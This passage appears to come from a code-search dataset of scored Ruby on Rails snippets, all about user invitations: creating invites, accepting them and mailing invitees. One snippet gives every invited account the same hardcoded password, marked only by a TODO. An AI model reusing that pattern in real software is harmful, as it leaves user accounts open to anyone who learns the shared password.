:full_name, :password, :password_confirmation, :invite)\n \n user.should_validate_invite!\n user.should_validate_name!\n \n if user.valid?\n \n if user.invite.data && user.invite.data[:email] == user.email\n # Activate and login\n # \n user.save!\n\n if user.invite.owner.instance_of?(Company)\n user.invite.update(data: user.invite.data.merge({ user_id: user.id }) )\n else\n user.invite.destroy\n end\n \n warden.set_user(user, scope: :user)\n\n respond_to do |format|\n format.json { render json: { state: :login, previous_path: previous_path }}\n end\n else\n # Create activation token and send email\n # \n token = Token.create(\n name: :activation,\n data: { \n full_name: user.full_name,\n address: user.email,\n password_digest: user.password_digest,\n invite_id: user.invite.id\n }\n )\n\n ProfileMailer.activation_email(token).deliver\n SlackWebhooksWorker.perform_async(\n text: t('user.activities.started_to_sign_up', name: user.full_name, email: user.email)\n ) if should_perform_sidekiq_worker?\n\n respond_to do |format|\n format.json { render json: { state: :activation }}\n end\n end\n \n else\n respond_to do |format|\n format.json { render json: { errors: user.errors }, status: 403 }\n end\n end\n \n end", "title": "" }, { "docid": "dac634c724f1dfb492994d6c95ac8b8c", "score": "0.7438799", "text": "def create\n @user = User.invite!(user_params, current_user)\n\n if @user.errors.present?\n respond_failure I18n.t('integral.backend.users.notification.creation_failure'), 'new'\n else\n respond_successfully I18n.t('integral.backend.users.notification.creation_success'), backend_user_path(@user)\n end\n end", "title": "" }, { "docid": "08d05f13020fc79995e6b1aa8f2db39e", "score": "0.7391162", "text": "def create\n @user = User.invite_user user_params\n if @user.save\n flash[:notice] = t('users.created_successfully')\n redirect_to users_path\n else\n @roles = Role.accessible_roles\n @user.role = @user.role_ids[0]\n render :new\n end\n end", "title": "" }, { "docid": "756a8e914c9327b4b0d6e833f900d2aa", "score": "0.73764527", "text": "def invite\n \n end", "title": "" }, { "docid": "e541b7717e1d43800aca2f6a2fc1fed3", "score": "0.7351647", "text": "def invite_member\n @organization = MnoEnterprise::Organization.find(params[:id])\n\n # Find or create a new user - We create it in the frontend as MnoHub will send confirmation instructions for newly\n # created users\n user = MnoEnterprise::User.find_by(email: user_params[:email]) || create_unconfirmed_user(user_params)\n\n # Create the invitation\n invite = @organization.org_invites.create(\n user_email: user.email,\n user_role: params[:user][:role],\n referrer_id: current_user.id,\n status: 'staged' # Will be updated to 'accepted' for unconfirmed users\n )\n\n @user = if user.confirmed?\n invite.accept!(user)\n invite.reload\n else\n user.reload\n end\n end", "title": "" }, { "docid": "ff29f9077f9b0981987cb248f497292b", "score": "0.73427165", "text": "def invite(user, options = {})\n group = options[:to] or raise \"Must give a :to => group option\"\n if user.kind_of?(String)\n user = User.create! :login => user, :created_from_invite => true\n end\n Invite.create! :group => group, :user => user, :admin_accepted => self.is_admin_of?(group), :requestor => self\n end", "title": "" }, { "docid": "f68bf9db3f4d1e4f223d0a58363d2fa5", "score": "0.73187983", "text": "def invite\n if not user_signed_in?\n redirect_to new_user_session_path\n else\n User.find(params[:user_id]).invites << current_user\n redirect_to friends_path\n end\n end", "title": "" }, { "docid": "839ff003e67ff6b59d43617cfb8591ae", "score": "0.73102736", "text": "def create\n @user = User.new(params[:user])\n \n puts \"#{@user.name} - #{@user.email}\"\n \n if !@@invite.nil? && self.encrypt_word(@user.email).eql?(encrypt_word(@@invite.email))\n @user.active = true\n if @user.save\n @@invite.update_attributes(:active => true)\n flash[:notice] = \"Usuario cadastrado com sucesso.\"\n render :action => :show\n end\n else\n flash[:notice] = \"Email invalido.\"\n render :action => :new\n end\n end", "title": "" }, { "docid": "6ca731c2b32f3a8403526ce69da1a556", "score": "0.73062766", "text": "def create\n @user = User.new(params[:user])\n # todo: generate reasonably secure random passwords\n @user.password = \"qweprojisa2398dsl\"\n @user.password_confirmation = \"qweprojisa2398dsl\"\n \n # Save without session maintenance to skip auto-login, since we require\n # activation first.\n if @user.save_without_session_maintenance\n @user.send_registration_instructions!\n redirect_to(users_url, :notice => 'Invitation sent.')\n else\n render(:action => 'new', :notice => 'There was an error creating the invitation.')\n end\n end", "title": "" }, { "docid": "665cb8b35606e3c4bd5e1ee7a3714631", "score": "0.7297132", "text": "def do_invite(invite)\n if invite.existing_user?\n deliver_email(InviteMailer.existing_user(invite))\n after_invite_existing_user(invite)\n invite.save\n else\n deliver_email(InviteMailer.new_user(invite))\n after_invite_new_user(invite)\n end\n end", "title": "" }, { "docid": "a5b57b2d8c31d375fc459264b99c9c5f", "score": "0.72748244", "text": "def create\n @user = User.new(user_params)\n client_application = current_user.client_application.id\n # @user.client_application = client_application\n logger.debug(\"USER IS : #{@user.inspect}\")\n # @user = User.invite!(email: params[:user][:email], name: params[:user][:name])\n send_invite_to_user(params[:user][:email], client_application, params[:user][:name],params[:user][:roles] )\n respond_to do |format|\n if @user.save\n logger.debug(\"user is SAVED\")\n format.html { redirect_to root_path, notice: 'User was successfully Invited.' }\n # format.json { render :show, status: :created, location: @user }\n else\n logger.debug(\"user is NOT SAVED\")\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6bf1e8ec7e7edba32254906314b9e3f0", "score": "0.7252876", "text": "def invite\n service_response = AdminManagement::AdminUser::Invite::Send.new(params).perform\n render_api_response(service_response)\n end", "title": "" }, { "docid": "5a31dfa1085cc7b62a2641557804b19c", "score": "0.72490144", "text": "def invite\n invitation_service.invite(invitation_params)\n end", "title": "" }, { "docid": "461b5e57010227df365f13557b456013", "score": "0.7228577", "text": "def after_create(user)\n if user.invited_by_id?\n invitation = Invitation.new(sender: user.invited_by, friend: user)\n invitation.accept!\n else\n # TODO There's a potential exploit here where someone creates 100 dummy accounts, invites one account and collects all the free time on that one account.\n Invitation.where(email: user.email).each do |invitation|\n invitation.friend = user\n invitation.accept!\n end\n end\n end", "title": "" }, { "docid": "0dcb6c559104895525baf6d5ee29646d", "score": "0.72188914", "text": "def invite_user\n client.invite_user({\n email: user.email,\n group_names: \"\",\n custom_message: I18n.t(\"discourse_service.invite_custom_message\")\n })\n end", "title": "" }, { "docid": "dd55106a6ff032a64790f7516045b8d1", "score": "0.7181964", "text": "def after_invite_existing_user(invite)\n # Add the user to the invitable resource/organization\n invite.invitable.add_invited_user(invite.recipient)\n end", "title": "" }, { "docid": "4575dedabeb64fe0d071ca7022b98dba", "score": "0.7164955", "text": "def create\n if User.where(:email => params[:user][:email]).count.zero?\n @invited_user = User.invite!(params[:user], current_user)\n \n params[:freight_train] = true\n params[:ft] = {:partial => \"users/user\"}\n respond_with(@invited_user)\n else\n show_error \"That email address is already taken\"\n end\n end", "title": "" }, { "docid": "ac8a075f2e536693be0e2481c0b21d53", "score": "0.7125499", "text": "def signup_as_invitee!(user, prompt, &block)\n self.attributes = user if user\n logged = prompt and validate_password_with_openid?\n save_with_block(logged, &block)\n end", "title": "" }, { "docid": "7e05680bfcc51ac8391fd93f9e728c54", "score": "0.7093477", "text": "def accepted_invite(user)\n @user = user\n mail(:to => user.email, :subject => \"Welcome to the Secret Santa Society.\")\n end", "title": "" }, { "docid": "2cbb9fe9949befc45ff7f75cd56c46aa", "score": "0.7076409", "text": "def invite_user\n invited_user = User.find(params[:user_id])\n InviteUser.call(@previa_group, invited_user)\n\n respond_to do |format|\n format.html { redirect_to previa_group_invitable_users_path(@previa_group), notice: 'El usuario fue invitado con éxito.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d53b9fee727c69e13269e97c65681d69", "score": "0.7045535", "text": "def create\n self.resource = User.find_by(email: params[:user][:email]) || invite_resource\n\n # Set roles, whether they are a new user or not\n # safe because adding the same role twice is a noop\n site = Site.instance\n if params[:user][:roles].present?\n params[:user][:roles].split(',').each do |role|\n resource.add_role(role.strip, site)\n end\n end\n # end of override code\n\n yield resource if block_given?\n\n # Override destination as this was a success either way\n if is_flashing_format? && resource.invitation_sent_at\n set_flash_message :notice, :send_instructions, email: resource.email\n end\n if method(:after_invite_path_for).arity == 1\n respond_with resource, location: after_invite_path_for(current_inviter)\n else\n respond_with resource, location: after_invite_path_for(current_inviter, resource)\n end\n end", "title": "" }, { "docid": "1a20939ec07ba6a95d5301f75617f047", "score": "0.70377874", "text": "def create\n @invite = Invite.new(params[:invite])\n @invite.user_id = current_user.id\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1c6651eb9413443da5942dade696ab3", "score": "0.7019829", "text": "def create\n if params[:invite]\n @invite = Invite.new(invite_params)\n elsif params[:user_id]\n @invite = Invite.new(:user_id => params[:user_id], :request_id => params[:request_id], :to_id => params[:to_id] )\n end\n @invite.state = 'sent' if @invite.state.blank?\n\n respond_to do |format|\n if @invite.save\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render json: @invite, status: :created, location: @invite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0327925c9cabef3c6a2cbb9edc5af2a3", "score": "0.7016604", "text": "def accepted_by(user)\n return false unless self.active?\n # assign user to startup unless they are already part of a startup\n relationship_role = nil\n\n if self.invite_type == Invite::TEAM_MEMBER\n user.startup_id = self.startup_id if !self.startup_id.blank? or !user.startup_id.blank?\n user.set_account_type(:entrepreneur)\n # Bypass forcing user to setup account if they were invited from startup that is setup, also don't suggest startups\n user.setup_complete! if self.startup.account_setup?\n elsif self.invite_type == Invite::STARTUP\n user.set_account_type(:entrepreneur)\n relationship_role = :startup_startup\n elsif self.invite_type == Invite::MENTOR || self.invite_type == Invite::NREDUCE_MENTOR # Add user as mentor to startup\n user.set_account_type(:mentor)\n user.roles << :nreduce_mentor if self.invite_type == Invite::NREDUCE_MENTOR\n relationship_role = :startup_mentor\n elsif self.invite_type == Invite::INVESTOR\n user.set_account_type(:investor)\n relationship_role = :startup_investor\n end\n\n # Add user to startup if invite came from startup\n if !self.startup.blank? and !relationship_role.blank?\n r = Relationship.start_between(user, self.startup, relationship_role, true)\n if r.blank?\n self.errors.add(:user_id, 'could not be added to startup')\n else\n self.errors.add(:user_id, 'could not be added to startup') unless r.approve!\n end\n end\n \n if user.save\n self.to = user\n self.accepted_at = Time.now\n self.save\n else\n false\n end\n end", "title": "" }, { "docid": "8ec04a99c18196df98cc09736a27171c", "score": "0.69976133", "text": "def invite_user(user_id)\n user_id = user_id.id if user_id.is_a? MatrixSdk::User\n client.api.invite_user(id, user_id)\n true\n end", "title": "" }, { "docid": "9224f35f21e197049a59b4554743977c", "score": "0.6965716", "text": "def existing_user_invite\n InviteMailer.existing_user_invite(Invite.last)\n end", "title": "" }, { "docid": "eda51721d96c210b16208f21d9e6f641", "score": "0.6951008", "text": "def create\n @invite = Invite.new(invite_params)\n @invite.sender_id = current_user.id\n if @invite.save\n\n #if the user already exists\n if @invite.recipient != nil \n\n #send a notification email\n InviteMailer.existing_user_invite(@invite).deliver \n\n #Add the user to the user group\n @invite.recipient.user_groups.push(@invite.user_group)\n else\n InviteMailer.new_user_invite(@invite, new_user_registration_path(:invite_token => @invite.token)).deliver\n end\n \n else\n format.html { render action: 'new' }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "f8f73d503c411c0ca3f2530697130a24", "score": "0.6947518", "text": "def create\n @invitation = current_user.invitations.build(:invitee_user_id => params[:user_id])\n\n respond_to do |format|\n if @invitation.save\n flash[:notice] = \"#{@invitation.invitee.email} was successfully invited.\"\n format.html { redirect_to(admin_users_path) }\n format.xml { render :xml => @invitation, :status => :created, :location => @invitation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @invitation.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01d49fa0ce84589971fbbe16e71f9efa", "score": "0.69440496", "text": "def create\n @invite = Invite.new(invite_params)\n @invite.sender_id = current_user.id # set the sender to the current user\n # @invite.invited_at = Time.now.utc\n\n respond_to do |format|\n if @invite.save\n # if the user already exists\n if @invite.recipient != nil\n InvitationMailer.existing_user_invite(@invite).deliver\n @invite.recipient.projects.push(@invite.project)\n flash.now[:notice] = \"User convidado\"\n else\n InvitationMailer.deliver_invitation(@invite, invite_sign_up_url(:invite_token => @invite.token)).deliver\n\n format.html { redirect_to @invite, notice: 'Invite was successfully created.' }\n format.json { render :show, status: :created, location: @invite }\n end\n else\n format.html { redirect_to \"/\", notice: \"Não enviou convite\" }\n # format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89ad603a67160600cc3ca85eb641259c", "score": "0.69377476", "text": "def signup_as_invitee!(user, prompt, &block)\n self.attributes = user if user\n logged = prompt and validate_password_with_openid?\n save_with_block(logged, &block)\n end", "title": "" }, { "docid": "8bf7aa11e1b6c175c3441ec84b7b95a8", "score": "0.69181544", "text": "def create\n forbidden unless current_account_user.createx_user\n \n sanitized_email = EmailSanitizer.saintize params[:account_user][:email]\n\n\n \n # if the account user alreaddy exists\n if AccountUser.where(email: sanitized_email, account_id: params[:account_user][:account_id]).first\n flash[:info] = \"User already a member\" \n else\n # validate the email, returns to the user if unapproved\n validate_email\n\n # set the acces\n set_access\n \n # get the user and send invitation\n invited_user = User.invite_to_account_by_email( \n sanitized_email, \n params[:account_user][:invitation_title], \n params[:account_user][:invitation_message], \n @account.id,\n current_user\n )\n \n # If there allready is an account user for the invited user\n if @account_user = AccountUser.where(user_id: invited_user.id, account_id: @account.id).first\n \n # make sure the role is set to account user\n params[:account_user][:role] = 'Account User'\n \n # update the account user\n @account_user.update_attributes!(account_user_params)\n \n # logg the activity\n @account_user.create_activity( :created, \n owner: current_user,\n recipient: @account_user,\n recipient_type: @account_user.class.name,\n account_id: @account.id)\n \n else\n # create new account user\n params[:account_user][:user_id] = invited_user.id\n params[:account_user][:role] = 'Account User'\n @account_user = AccountUser.create!(account_user_params)\n end\n \n #channel = 'digiramp_radio_' + current_user.email\n #Pusher.trigger(channel, 'digiramp_event', {\"title\" => 'User already a member', \n # \"message\" => \"#{params[:account_user][:email]} is already added\", \n # \"time\" => '7000', \n # \"sticky\" => 'false', \n # \"image\" => 'notice'\n # })\n # \n end\n # notice!\n # Permissions for the account user are copied to the catalog users\n # from the after_commit on the AccountUser#after_create => update_catalog_users\n #@account.count_users\n redirect_to account_account_account_users_path @account\n end", "title": "" }, { "docid": "203c7b83f194b72e56fec9c3d6716e2c", "score": "0.691352", "text": "def invite\n @meal = Meal.find(params[:meal_id])\n authorize @meal, :update?\n @user = if params[:user_id]\n User.find(params[:user_id])\n else\n User.find_by(name: params[:user_name])\n end\n @meal.invite_user @user\n redirect_to @meal\n end", "title": "" }, { "docid": "e4031af78b656e0150d36bcb59bf5187", "score": "0.69128615", "text": "def invite\n @user = current_user\n UserMailer.invite_email(current_user, params[:email]).deliver\n redirect_to(kites_path, :notify => \"Your invitation has been sent\")\n end", "title": "" }, { "docid": "b96b2ba9936ec518c20415e666e425cf", "score": "0.690739", "text": "def invite(email, user)\n @recipients = \"#{email}\"\n @from = \"[email protected]\"\n @subject = \"#{user.name} has invited you to Meetronome!\"\n @sent_on = Time.now\n @body[:user] = user\n end", "title": "" }, { "docid": "00cd9971264a6c245dca049bb901e638", "score": "0.6903703", "text": "def invite\n parent = {coparent_email: '[email protected]', coparent_name: 'Vasco'}\n UserMailer.invite(parent)\n end", "title": "" }, { "docid": "3406d0e82dedc36b2622068f2713c05d", "score": "0.6900765", "text": "def create\n @user = User.find_by_uid(params[:uid])\n\n if (@user.nil?)\n @user = User.new\n @user['uid'] = params[:uid]\n @user['provider'] = 'facebook'\n @user['name'] = params[:name]\n\n @user.save\n end\n\n if (Invite.find_by_plan_id_and_user_id(params[:plan_id], @user.id).nil?)\n\n @invite = Invite.new(params[:invite])\n @invite.plan = Plan.find(params[:plan_id])\n\n @invite.user = @user\n\n @invite.save\n\n end\n\n end", "title": "" }, { "docid": "cbbc9296a1c4e90a107c8aa221486f09", "score": "0.68999934", "text": "def invite_new_users(users)\n invitations = users.map do |user|\n @current_course.invitations.build(name: user[:name], email: user[:email])\n end\n validate_new_invitation_emails(invitations)\n end", "title": "" }, { "docid": "f371ddca193e8f6aaff1c8c5302df6ac", "score": "0.689801", "text": "def user_invite(body)\n raise ArgumentError unless body.is_a?(Array)\n raise ArgumentError unless body.first.is_a?(Hash)\n\n api.post('user/invite', body, 'application/json')\n end", "title": "" }, { "docid": "5e1d76f115363163a14d4aadfa49a359", "score": "0.68923384", "text": "def create\n\t\t@guild_invite = GuildInvitMember.new(guild_invite_params)\n\t\t@guild_invite.guild = @guild\n\t\t@guild_invite.by = current_user\n\t\t@guild_invite.state = \"waiting\"\n\n\t\trespond_to do |format|\n\t\t\tif @guild_invite.save\n\t\t\t\tback_page = guild_invites_url\n\t\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\t\tformat.html { redirect_to back_page, notice: 'Invite was successfully created.' }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @guild_invite.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d29973853a8c91926016217091af5bba", "score": "0.6884155", "text": "def create\n email = params[:organization_user][:invite_email].to_s.strip\n @organization_user = @organization.organization_users.find_by(invite_email: email) if email.present?\n if @organization_user\n @organization_user.creator_id = current_user.id\n @organization_user.review_role = params[:organization_user][:review_role]\n @organization_user.editor = params[:organization_user][:editor]\n else\n @organization_user = @organization.organization_users.where(creator: current_user).new(organization_user_params)\n end\n\n if @organization_user.save\n @organization_user.send_invite_email_in_background!\n redirect_to organization_organization_users_path(@organization), notice: \"Organization member was successfully invited.\"\n else\n render :new\n end\n end", "title": "" }, { "docid": "f84c49b1df10ce2d46b5babc25e8f4b5", "score": "0.6879147", "text": "def accept(user)\r\n self.accepted_at = Time.now\r\n self.new_user_id = user.id\r\n self.save!\r\n self.user.add_friend(self.new_user)\r\n self.new_user.add_friend(self.user)\r\n InvitationMailer.deliver_user_accepted_invitation(self)\r\n end", "title": "" }, { "docid": "c2c46b7ffda44c216c77778715572218", "score": "0.68774784", "text": "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\n invited_users = InvitedUser.where(email: @user.email)\n invited_users.each do |invited_user|\n Message.create(sender_id: 1, receiver_id: invited_user.inviter.id, title: \"Your friend has just joined\", content: \"I have just joined to TennisBuddy World! Thank you for inviting me. #{@user.full_name}\")\n end\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f6859314d7deeb8ddeff8633547fbdb", "score": "0.68760955", "text": "def invite_resource\n resource_class.invite!(invite_params, current_inviter) do |invitable|\n invitable.company_id = current_user.company_id\n invitable.is_admin = true\n invitable.require_email = true\n invitable.save\n end\n end", "title": "" }, { "docid": "8779eed0e6bd535c769b337a7ceb91d9", "score": "0.6869161", "text": "def create\n @maintain_invite_user = Maintain::InviteUser.new(params[:maintain_invite_user])\n\n respond_to do |format|\n if @maintain_invite_user.save\n format.html { redirect_to @maintain_invite_user, notice: 'Invite user was successfully created.' }\n format.json { render json: @maintain_invite_user, status: :created, location: @maintain_invite_user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @maintain_invite_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "04873d790b3747c71bf0999af3b8ee1f", "score": "0.6863461", "text": "def after_invite_new_user(invite)\n end", "title": "" }, { "docid": "89cb91df0189c7306649a3cc418fa0f8", "score": "0.6859101", "text": "def create\n forbidden unless current_catalog_user.create_user\n\n if email = EmailSanitizer.saintize( params[:catalog_user][:email])\n title = params[:catalog_user][:title]\n body = params[:catalog_user][:body]\n catalog = Catalog.cached_find(params[:catalog_user][:catalog_id])\n \n \n \n # if the user already is in the system\n if user = User.find_by(email: email)\n flash[:info] = \"You have invited a DigiRAMP member with the email #{email} to the #{catalog.title} catalog\" \n \n # send email\n UserMailer.delay.invite_user_to_catalog( email,\n title, \n body, \n user.id,\n @account.id,\n catalog.id, \n true\n )\n else\n # invite a new user\n if user = User.find_or_create_from_email( email )\n # send email\n UserMailer.delay.invite_user_to_catalog( email,\n title, \n body, \n user.id, \n @account.id,\n catalog.id, \n false\n )\n \n flash[:info] = \"You have invited #{email} to the #{catalog.title.upcase} catalog\" \n else\n \n end\n \n end\n params[:catalog_user][:user_id] = user.id \n params[:catalog_user][:account_id] = @account.id \n params[:catalog_user][:uuid] = UUIDTools::UUID.timestamp_create().to_s\n unless user && @catalog_user = CatalogUser.create!( catalog_user_params ) \n # notify if something went wrong\n flash[:danger] = \"User not invited, If this error persists please contact support\" \n end\n @catalog_user.attach_to_account_user\n @user = current_user\n else\n flash[:danger] = \"Unable to validate email\" \n end\n redirect_to catalog_account_catalog_catalog_users_path(@account, @catalog)\n end", "title": "" }, { "docid": "d92a12cc0b9fcd6868026e209b87960f", "score": "0.68309236", "text": "def create\n @user = User.new(params[:user])\n\n if ( !Rails.env.production? || verify_recaptcha(model: @user)) && @user.save\n set_authorized_user(@user, false)\n\n if(params[:invite_code])\n redirect_to invite_accept_url(code: params[:invite_code])\n else\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Welcome to ImprovCoaches.com.' }\n format.json { render json: @user, status: :created, location: @user }\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4604cc6cbd76fe59122be0a37af8fdc5", "score": "0.68302894", "text": "def create\n @invite = Invite.new(params[:invite])\n @user = current_user\n @user.invites << @invite\n @candidate = current_user.candidate\n @invites = Invite.scoped\n respond_to do |format|\n if @user.save\n InviteMailer.invite_friend(@invite, @user).deliver\n format.html { redirect_to new_invite_path, notice: \"Invitation was successfully sent to #{@invite.name} &lt;#{@invite.email}&gt;\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08a3c6e6e350225896457289b3fcd5da", "score": "0.6827589", "text": "def create\n invite = nil\n # is this invite from user to family\n if params[:invite][:family_name].present?\n authorize! :create, Invite\n new_family = Family.find_by_name(params[:invite][:family_name])\n if new_family.present?\n if current_user.family != new_family\n invite = Invite.new(family: new_family,\n user: current_user,\n creator: current_user,\n is_sent_to_email: false)\n else\n respond_to do |format|\n format.js { render json: { result: \"Нельзя попроситься в свою же семью\", status: 500 } and return }\n end\n end\n else\n respond_to do |format|\n format.js { render json: { result: \"Семья #{params[:invite][:family_name]} не найдена\", status: 404 } and return }\n end\n end\n\n # is this invite from family to user\n elsif params[:invite][:user_data].present?\n authorize! :create, Invite\n # check if this user exists in database\n user = User.find_by_login(params[:invite][:user_data]) || User.find_by_email(params[:invite][:user_data])\n if user.present?\n if current_user != user\n invite = Invite.new(family: current_user.family,\n user: user,\n creator: current_user,\n is_sent_to_email: false)\n else\n respond_to do |format|\n format.js { render json: { result: \"Нельзя пригласить самого себя в свою семью\", status: 500 } and return }\n end\n end\n else\n if params[:invite][:user_data] =~ /^[a-zA-Z][\\w\\.-]*[a-zA-Z0-9]@[a-zA-Z0-9][\\w\\.-]*[a-zA-Z0-9]\\.[a-zA-Z][a-zA-Z\\.]*[a-zA-Z]$/\n #TODO: send the email with invite to user\n respond_to do |format|\n format.js { render json: {result: \"Email с приглашением отправлен на адрес #{params[:invite][:user_data]}\", status: 204 } and return }\n end\n else\n respond_to do |format|\n format.js { render json: {result: \"Пользователь #{params[:invite][:user_data]} не найден! Вы можете ввести его email и снова пригласить. Мы вышлем ему приглашение на почту.\", status: 404 } and return }\n end\n end\n end\n end\n\n if invite && invite.save!\n respond_to do |format|\n render_string = render_to_string(partial: \"invites/invite\", layout: false, locals: {name: invite.name_for_family, invite_id: invite.id, can_manage: false})\n format.js { render json: { result: render_string, status: 201 }}\n end\n else\n respond_to do |format|\n format.js { render json: {result: \"Не удалось создать приглашение.\", status: 500 } }\n end\n end\n end", "title": "" }, { "docid": "c2458f146af32a6f5c161a2a7f666048", "score": "0.68180597", "text": "def invite!(user_from, user_to, note=\"\")\n Invite.send!(user_from, user_to, note, self)\n end", "title": "" }, { "docid": "34bf30e8d8f47383b32021c125d35667", "score": "0.6816137", "text": "def invite(user)\n return false if user == self || find_any_friendship_with(user)\n Amistad.friendship_class.new{ |f| f.friendable = self ; f.friend = user }.save\n end", "title": "" }, { "docid": "4a12230ecb371d985a3867f2b513d18f", "score": "0.6808837", "text": "def create\n users_params = params[:users] || {}\n emails = []\n users_params.each_value do |attrs|\n user = User.find_by(email: attrs['email'])\n if !user.present?\n user = User.new(email: attrs['email'], firm_id: current_user.firm_id, role: attrs['role'].to_i)\n user.skip_confirmation!\n end\n # if the user is in the system, then invite the person this way\n # @raw_invitation_token = Devise.token_generator.generate(User, :invitation_token)\n # logger.info \"@raw_invitation_token: #{@raw_invitation_token}\\n\\n\\n\"\n # user.invitation_token = @raw_invitation_token[1]\n # user.invitation_created_at = Time.now.utc\n # user.invitation_sent_at = user.invitation_created_at\n # user.invitation_role = attrs['role'].to_i\n # user.invited_by = current_user\n # options = {user: user, admin: current_user, token: @raw_invitation_token[0], role: User::USER_ROLES[attrs['role'].to_i]}\n # # puts \"ADMIN WHAT IS ADMIN ----------> \" + options.inspect\n # UserEmails.invite_existing_user(options).deliver if user.save(:validate => false)\n # else\n # # if the user is NOT in the system, then send out invite this way (it also creates a user)\n # puts \"IS THIS WHERE I AM ---------------------> \"\n # @raw_invitation_token = Devise.token_generator.generate(User, :invitation_token)\n # user = User.new(email: attrs['email'], firm_id: current_user.firm_id, role: attrs['role'].to_i)\n # options = {user: user, admin: current_user, token: @raw_invitation_token[0], role: [attrs['role'].to_i]}\n # #user.save!\n # UserEmails.invite_new_user(options).deliver if user.save(:validate => false)\n #user = User.invite!({email: attrs['email'], firm_id: current_user.firm_id, role: attrs['role'].to_i }, current_user)\n #end\n @raw_invitation_token = Devise.token_generator.generate(User, :invitation_token)\n logger.info \"@raw_invitation_token: #{@raw_invitation_token}\\n\\n\\n\"\n user.invitation_token = @raw_invitation_token[1]\n user.invitation_created_at = Time.now.utc\n user.invitation_sent_at = user.invitation_created_at\n user.invitation_role = attrs['role'].to_i\n user.firm = current_user.firm\n user.role = attrs['role'].to_i\n user.invited_by = current_user\n options = {user: user, admin: current_user, token: @raw_invitation_token[0], role: User::USER_ROLES[attrs['role'].to_i]}\n options[:firm_name] = request[:invitee_firm_name] if request[:invitee_firm_name]\n # puts \"ADMIN WHAT IS ADMIN ----------> \" + options.inspect\n UserEmails.invite_existing_user(options).deliver if user.save(:validate => false)\n\n emails << attrs['email']\n end\n\n if request.xhr?\n if emails.present?\n render json: {message: \"Invitations were sent to: #{emails.to_sentence}\"}, :status => 200\n else\n render json: {message: 'Email was not sent'}, :status => 500\n end\n else\n if emails.present?\n redirect_to root_path, notice: \"Invitations were sent to: #{emails.to_sentence}\"\n else\n flash[:notice] = 'Email was not sent'\n render :new\n end\n end\n end", "title": "" }, { "docid": "cbf74991c942ba4bbe2a4310a5b1b53e", "score": "0.6802011", "text": "def create\n @user = current_restaurant.users.new(params[:user])\n\n respond_to do |format|\n if @user.signup!(params)\n @user.deliver_invited_activation_instructions!(current_restaurant)\n current_restaurant.users << @user\n current_restaurant.save\n flash[:notice] = t('users.create.success')\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff1c81f7725f0aaa7241e1a1279aaf8d", "score": "0.6779567", "text": "def create\n @invite = NewInvite.new(invite_params, current_user)\n @invite.call\n respond_with @invite, location: wallet_path(id: invite_params[:wallet_id])\n end", "title": "" }, { "docid": "1ff8506f90a223159c985de45c92a866", "score": "0.6771256", "text": "def create\n self.current_user = User.from_omniauth(request.env['omniauth.auth'])\n\n if current_user\n omniauth_params = request.env[\"omniauth.params\"]\n\n # if there is an invite token\n if omniauth_params && omniauth_params[\"workingtitle_invite_token\"]\n token = omniauth_params[\"workingtitle_invite_token\"]\n\n # Fetch the invite from the token\n invite = Invite.find_by(token: token)\n\n invite.accept(current_user)\n end\n\n redirect_to profile_path\n else\n redirect_to auth_path(provider: 'github')\n end\n end", "title": "" }, { "docid": "de05cdadec3c5502f9954857aca7ee74", "score": "0.6767851", "text": "def invite\n invite = params[:invite]\n profile.update_attribute(:email, invite[:email])\n invite = Notifier.send_invite(profile, invite[:message])\n invite.deliver\n flash[:notice] = \"An invititation to join YentaFriend was sent to #{profile.name}. Check your dashboard for an update when they join!\"\n end", "title": "" }, { "docid": "48e2971b1072f16433c4315940587e10", "score": "0.67553705", "text": "def invite(user, group, mailto)\n @user = user\n @group = group\n mail(to: mailto, subject:'user.name invite you! Join GURUPU')\n end", "title": "" }, { "docid": "278b36e6d033d200ea13fd18f867d7d7", "score": "0.67549366", "text": "def accept!()\n self.status = Invite::Status::ACCEPTED\n invitable.add_member invitee\n save!\n end", "title": "" }, { "docid": "41f3f15b261b742b50681007d85f1b7e", "score": "0.6753156", "text": "def invite_resource\n ## skip sending emails on invite\n u = resource_class.invite!(invite_params, current_inviter) do |u|\n u.skip_invitation = true\n u.invitation_sent_at = DateTime.now\n end\n flash[:link] = accept_user_invitation_url(:invitation_token => u.raw_invitation_token)\n u\n end", "title": "" }, { "docid": "0e50041b0fd6bd1c464f9352ccad6d05", "score": "0.673856", "text": "def ensure_invitee(user)\n if self.invitee.nil?\n self.invitee = user\n save\n else\n self.invitee == user\n end\n end", 